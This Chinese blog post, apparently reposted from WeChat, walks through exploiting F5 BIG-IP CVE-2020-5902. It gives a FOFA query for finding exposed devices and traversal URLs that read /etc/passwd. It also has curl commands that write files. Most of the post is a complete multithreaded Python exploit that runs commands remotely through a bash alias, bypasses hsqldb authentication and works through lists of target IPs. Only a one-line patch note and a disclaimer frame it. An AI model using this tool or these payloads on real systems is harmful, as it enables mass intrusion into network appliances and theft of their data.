昨天已经写了一个关于F5 BIG-IP的漏洞,今天继续分享给大家一个
漏洞复现
同样祭出fofa大法,fofa语法如下
title="BIG-IP®"
我们随便点开一个
利用poc
1.登录管理页面就存在漏洞,使用poc进行测试任意目录文件读取:
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
2写入文件
curl -k -H "Content-Type: application/x-www-form-urlencoded" -X POST -d
"fileName=/tmp/success&content=CVE-2020-5902"
"https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp"
读取文件
curl -k "https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/success"
反弹shell 也可以但是这里就不测试了,可能还会权限低无法使用
6.利用工具
批量工具检测 pyhton2 写的
python name.py -f flieip.txt --rce whoami --still-exploit -s 15 -t 20
#coding:utf-8
#Author:LSA
#Date:20200707
#Description:f5-bigip-rce-cve-2020-5902,fileRead+fileSave+tmshCmd+hsqldb auth bypass
import requests
import optparse
import sys
import json
import os
import threading
import Queue
import datetime
reload(sys)
sys.setdefaultencoding('utf-8')
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
headers = {"User-Agent": "Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Language": "en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7"}
lock = threading.Lock()
q0 = Queue.Queue()
threadList = []
succ = 0
def f5FileRead(tgtIP,fileRead,timeout):
tgtUrl = tgtIP + '/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=' + fileRead
fileReadRsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
return fileReadRsp
def f5FileSave(tgtIP,timeout,filePath,fileContent='null'):
tgtUrl = tgtIP + '/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp'
fileData = {"fileName": filePath, "content": fileContent} #md5(check-CVE-2020-5902-xxx)
fileSaveRsp = requests.post(tgtUrl,headers=headers,data=fileData,timeout=timeout,verify=False)
if fileSaveRsp.status_code == 200:
fileReadRsp = f5FileRead(tgtIP,filePath,timeout)
if fileContent in fileReadRsp.text:
print filePath + ' saved successfully'
else:
print filePath + ' seems to have saved,but f5FileRead return content not right,please check manually.'
return True
else:
print str(fileSaveRsp.status_code) + 'n' + fileSaveRsp.text
print filePath + ' seems to have saved,but fileSaveRspStatusCode or fileSaveRspText return content not right,please check manually.'
return False
def f5ListAuthUsers(tgtIP,timeout):
tgtUrl = tgtIP + '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user'
f5ListAuthUserRsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
if f5ListAuthUserRsp.status_code == 200:
if (f5ListAuthUserRsp.json()['error'] == "") and (f5ListAuthUserRsp.json()['output'] != ""):
print f5ListAuthUserRsp.json()
print 'list auth users successfully!'
return True
else:
print f5ListAuthUserRsp.json()
print 'list auth users failed'
return False
else:
print str(f5ListAuthUserRsp.status_code)
print 'list auth users failed.'
return False
def f5ListDirectory(tgtIP,f5Directory,timeout):
tgtUrl = tgtIP + '/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=' + f5Directory
f5DirectoryListRsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
print str(f5DirectoryListRsp.status_code) + 'n' + f5DirectoryListRsp.text.strip()
def f5rce(tgtIP,rce,timeout,stillExploitFlag):
f5lau = f5ListAuthUsers(tgtIP,timeout)
if f5lau or stillExploitFlag:
if tgtIP.startswith(("http", "https")):
tgtUrl = tgtIP + '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp'
else:
tgtUrl = "http://" + tgtIP + '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp'
tmshcmdData0 = {"command": "create cli alias private list command bash"}
tmshcmdData1 = {"command": "list /tmp/xtx.txt"}
tmshcmdData2 = {"command": "delete cli alias private list"}
f5rceRsp0 = requests.post(tgtUrl, headers=headers, data=tmshcmdData0, timeout=timeout, verify=False)
if f5rceRsp0.status_code == 200 and f5rceRsp0.json()['error'] == "":
print 'Successfully created alias list=bash'
f5RceFilePath = '/tmp/xtx.txt'
f5RceFileContent = rce
f5FileSaveReturn = f5FileSave(tgtIP,timeout,f5RceFilePath,f5RceFileContent)
if f5FileSaveReturn:
f5rceRsp1 = requests.post(tgtUrl,headers=headers,data=tmshcmdData1,timeout=timeout, verify=False)
if f5rceRsp1.status_code == 200 and f5rceRsp1.json()['error'] == "":
print 'rce seems to have succeed,result:n' + f5rceRsp1.text.strip()
else:
print 'rce failed,result status_code:' + str(f5rceRsp1.status_code) + 'n' + f5rceRsp1.text.strip()
f5rceRsp2 = requests.post(tgtUrl,headers=headers,data=tmshcmdData2,timeout=timeout, verify=False)
if f5rceRsp2.status_code == 200 and f5rceRsp2.json()['error'] == "":
print 'Successfully deleted alias list=bash'
else:
print 'Failed to delete alias list=bash'
f5RceFileContentToReplace = 'null'
f5FileSaveReturn1 = f5FileSave(tgtIP,timeout,f5RceFilePath,f5RceFileContentToReplace)
if f5FileSaveReturn1:
print 'f5FileSave replaced successfully'
else:
print 'f5FileSave replace failed'
successInfo = []
successInfo.append(tgtIP)
successInfo.append('[listAuthUser:' + str(f5lau) + ']')
successInfo.append(f5rceRsp1.json())
print successInfo
return successInfo
else:
print 'f5FileSave failed'
return False
else:
print 'Created alias list=bash failed'
return False
else:
print 'Exploit stopped because f5ListAuthUsers and stillExploitFlag both False.If want to exploit anyway,please use --still-exploit'
return False
def f5rce_batch(rce,timeout,f4success,stillExploitFlag):
global countLines
while(not q0.empty()):
tgtIP = q0.get()
qcount = q0.qsize()
print 'Exploiting-' + tgtIP + '---------------[' + str(countLines - qcount) + ']'
try:
returnSuccessInfo = f5rce(tgtIP,rce,timeout,stillExploitFlag)
if returnSuccessInfo == False:
continue
if ('True' in returnSuccessInfo[1]) or (returnSuccessInfo[2]['output'] != ""):
lock.acquire()
f4success.write(str(returnSuccessInfo)+'n')
lock.release()
global succ
succ = succ + 1
else:
continue
except:
print "Caused exception,continue next"
continue
def f5HsqldbAuthBypass(tgtIP,timeout):
urlBypass0 = tgtIP + '/hsqldb;'
hsqldbRsp = requests.get(urlBypass0, headers=headers,timeout=timeout,verify=False)
if ('HSQL Database Engine' in hsqldbRsp.text) and (hsqldbRsp.status_code == 200):
print 'Use [/hsqdb;] bypass auth successfully'
print hsqldbRsp.text
#return True
returnF5HsqldbAuthBypassInfo = tgtIP + '/hsqldb;'
return returnF5HsqldbAuthBypassInfo
else:
urlBypass1 = tgtIP + '/hsqldb%0a'
hsqldbRsp1 = requests.get(urlBypass1, headers=headers,timeout=timeout,verify=False)
if ('HSQL Database Engine' in hsqldbRsp1.text) and (hsqldbRsp1.status_code == 200):
print 'Use [/hsqdb%0a] bypass auth successfully'
print hsqldbRsp1.text
#return True
returnF5HsqldbAuthBypassInfo = tgtIP + '/hsqldb%0a'
return returnF5HsqldbAuthBypassInfo
else:
print 'bypass hsqldb failed'
print str(hsqldbRsp.status_code)
print hsqldbRsp.text
return False
def f5HsqldbAuthBypassBatch(timeout,f4success):
global countLines1
while(not q0.empty()):
tgtIP = q0.get()
qcount = q0.qsize()
print 'Checking[hsqldb]-' + tgtIP + '---------------[' + str(countLines1 - qcount) + ']'
try:
f5HsqldbAuthBypassReturn = f5HsqldbAuthBypass(tgtIP,timeout)
except:
print "Caused exception,continue next"
continue
#if f5HsqldbAuthBypassReturn == True:
if f5HsqldbAuthBypassReturn:
lock.acquire()
#f4success.write(tgtIP+'n')
f4success.write(f5HsqldbAuthBypassReturn+'n')
lock.release()
global succ
succ = succ + 1
else:
continue
def f5BypassAuthCheck(tgtIP,timeout):
poc0 = '/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=test5902'
poc1 = '/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp'
tgtUrl0 = tgtIP + poc0
tgtUrl1 = tgtIP + poc1
try:
f5BypassAuthCheckRsp0 = requests.get(tgtUrl0, headers=headers, timeout=timeout, verify=False)
if (f5BypassAuthCheckRsp0.status_code == 200 and 'test5902' in f5BypassAuthCheckRsp0.text):
print '[POC0]' + tgtIP + ' is vulnerable!!!'
return True
else:
f5BypassAuthCheckRsp1 = requests.get(tgtUrl1, headers=headers, timeout=timeout, verify=False)
if f5BypassAuthCheckRsp1.status_code == 200:
print '[POC1]' + tgtIP + ' is vulnerable!!!'
return True
except:
print 'Caused exceptions,check stopped,please check it manuallyn'
return False
print tgtIP + ' is not vulnerable'
return False
def f5BypassAuthCheckBatch(timeout,f4success):
global countLines2
while(not q0.empty()):
tgtIP = q0.get()
qcount = q0.qsize()
print 'Checking-' + tgtIP + '---------------[' + str(countLines2 - qcount) + ']'
try:
f5BypassAuthCheckReturn = f5BypassAuthCheck(tgtIP,timeout)
except:
print "Caused exception,continue next"
continue
#if f5HsqldbAuthBypassReturn == True:
if f5BypassAuthCheckReturn:
lock.acquire()
#f4success.write(tgtIP+'n')
f4success.write(tgtIP+'n')
lock.release()
global succ
succ = succ + 1
else:
continue
if __name__ == '__main__':
print '''
**********************************************************
* F5-BIGIP-RCE-CVE-2020-5902 *
* (fileRead.jsp+fileSave.jsp+tmshCmd.jsp+hsqldb) *
**********************************************************
'''
parser = optparse.OptionParser('python %prog ' + '-h(manual)', version='%prog v1.0')
parser.add_option('-u', dest='tgtIP', type='string', help='input the single target(IP)')
parser.add_option('--fileread', dest='fileRead', type='string', help='read the local file(such as /etc/passwd)')
parser.add_option('-s', dest='timeout', type='int', default=7, help='timeout(7 seconds defalut)')
parser.add_option('--rce', dest='rce', type='string', help='input the command to execute')
parser.add_option('--filepath', dest='filePath', type='string', help='input the save file path')
parser.add_option('--filecontent', dest='fileContent', type='string', help='input the save file content')
parser.add_option('--list-users', dest='listUsers', action='store_true', help="list auth users")
parser.add_option('--still-exploit', dest='stillExploit', action='store_true', help='still exploit although f5ListAuthUsers return False')
parser.add_option('--listdir', dest='listDir', type='string', help='list directory path')
parser.add_option('-f', dest='tgtIPsPath', type='string', help='target ips file')
parser.add_option('-t', dest='threads', type='int', default=5, help='the number of threads')
parser.add_option('--bypass-hsqldb',dest='bypassHsqldb',action='store_true',help='check /hsqldb auth bypass')
parser.add_option('--check',dest='checkBypassAuth',action='store_true',help='use poc0 and poc1 to check')
(options, args) = parser.parse_args()
tgtIP = options.tgtIP
if tgtIP:
if tgtIP.startswith(("http", "https")) == False:
tgtIP = 'http://' + tgtIP
timeout = options.timeout
fileRead = options.fileRead
filePath = options.filePath
fileContent = options.fileContent
listUsers = options.listUsers
stillExploit = options.stillExploit
rce = options.rce
#threads = options.threads
listDir = options.listDir
bypassHsqldb = options.bypassHsqldb
checkBypassAuth = options.checkBypassAuth
if stillExploit:
stillExploitFlag = 1
else:
stillExploitFlag = 0
if tgtIP and fileRead:
f5FileReadRsp = f5FileRead(tgtIP,fileRead,timeout)
print str(f5FileReadRsp.status_code) + 'n' + f5FileReadRsp.text.strip()
sys.exit()
if tgtIP and filePath and fileContent:
f5FileSave(tgtIP,timeout,filePath,fileContent)
sys.exit()
if tgtIP and listUsers:
f5ListAuthUsers(tgtIP,timeout)
sys.exit()
if tgtIP and rce:
f5rce(tgtIP,rce,timeout,stillExploitFlag)
sys.exit()
if tgtIP and listDir:
f5ListDirectory(tgtIP,listDir,timeout)
sys.exit()
if options.tgtIPsPath and rce:
tgtIPsPath = options.tgtIPsPath
threads = options.threads
nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
os.mkdir('batch_rce_result/'+str(nowtime))
f4success = open('batch_rce_result/'+str(nowtime)+'/'+'success.txt','w')
#f4fail = open('batch_result/'+str(nowtime)+'/'+'fail.txt','w')
ipsFile = open(tgtIPsPath)
#global countLines
countLines = len(open(tgtIPsPath,'rU').readlines())
print '===Total ' + str(countLines) + ' urls==='
for ips in ipsFile:
ips = ips.strip()
if ips.startswith(("http", "https")) == False:
ips = 'http://' + ips
q0.put(ips)
for thread in range(threads):
t = threading.Thread(target=f5rce_batch,args=(rce,timeout,f4success,stillExploitFlag))
t.start()
threadList.append(t)
for th in threadList:
th.join()
print 'n###Finished! [success/total]: ' + '[' + str(succ) + '/' + str(countLines) + ']###'
print 'Results were saved in ./batch_rce_result/' + str(nowtime) + '/'
f4success.close()
if tgtIP and bypassHsqldb:
f5HsqldbAuthBypass(tgtIP,timeout)
if options.tgtIPsPath and bypassHsqldb:
tgtIPsPath = options.tgtIPsPath
threads = options.threads
nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
os.mkdir('batch_hsqldb_auth_bypass_result/'+str(nowtime))
f4success = open('batch_hsqldb_auth_bypass_result/'+str(nowtime)+'/'+'success.txt','w')
#f4fail = open('batch_result/'+str(nowtime)+'/'+'fail.txt','w')
ipsFile = open(tgtIPsPath)
#global countLines1
countLines1 = len(open(tgtIPsPath,'rU').readlines())
print '===Total ' + str(countLines1) + ' urls==='
for ips in ipsFile:
ips = ips.strip()
if ips.startswith(("http", "https")) == False:
ips = 'http://' + ips
q0.put(ips)
for thread in range(threads):
t = threading.Thread(target=f5HsqldbAuthBypassBatch,args=(timeout,f4success))
t.start()
threadList.append(t)
for th in threadList:
th.join()
print 'n###Finished! [success/total]: ' + '[' + str(succ) + '/' + str(countLines1) + ']###'
print 'Results were saved in ./batch_hsqldb_auth_bypass_result/' + str(nowtime) + '/'
f4success.close()
if tgtIP and checkBypassAuth:
f5BypassAuthCheck(tgtIP,timeout)
if options.tgtIPsPath and checkBypassAuth:
tgtIPsPath = options.tgtIPsPath
threads = options.threads
nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
os.mkdir('batch_check_result/'+str(nowtime))
f4success = open('batch_check_result/'+str(nowtime)+'/'+'success.txt','w')
#f4fail = open('batch_result/'+str(nowtime)+'/'+'fail.txt','w')
ipsFile = open(tgtIPsPath)
#global countLines2
countLines2 = len(open(tgtIPsPath,'rU').readlines())
print '===Total ' + str(countLines2) + ' urls==='
for ips in ipsFile:
ips = ips.strip()
if ips.startswith(("http", "https")) == False:
ips = 'http://' + ips
q0.put(ips)
for thread in range(threads):
t = threading.Thread(target=f5BypassAuthCheckBatch,args=(timeout,f4success))
t.start()
threadList.append(t)
for th in threadList:
th.join()
print 'n###Finished! [success/total]: ' + '[' + str(succ) + '/' + str(countLines2) + ']###'
print 'Results were saved in ./batch_check_result/' + str(nowtime) + '/'
f4success.close()
修复建议
F5官方已发布相关安全更新,用户可更新到安全版本。
特别声明:
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,我不为此承担任何责任。
作者有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者的允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。 切勿用于非法,仅供学习参考
原文始发于微信公众号(深夜笔记本):继续分享F5 BIG-IP RCE(CVE-2020-5902)复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论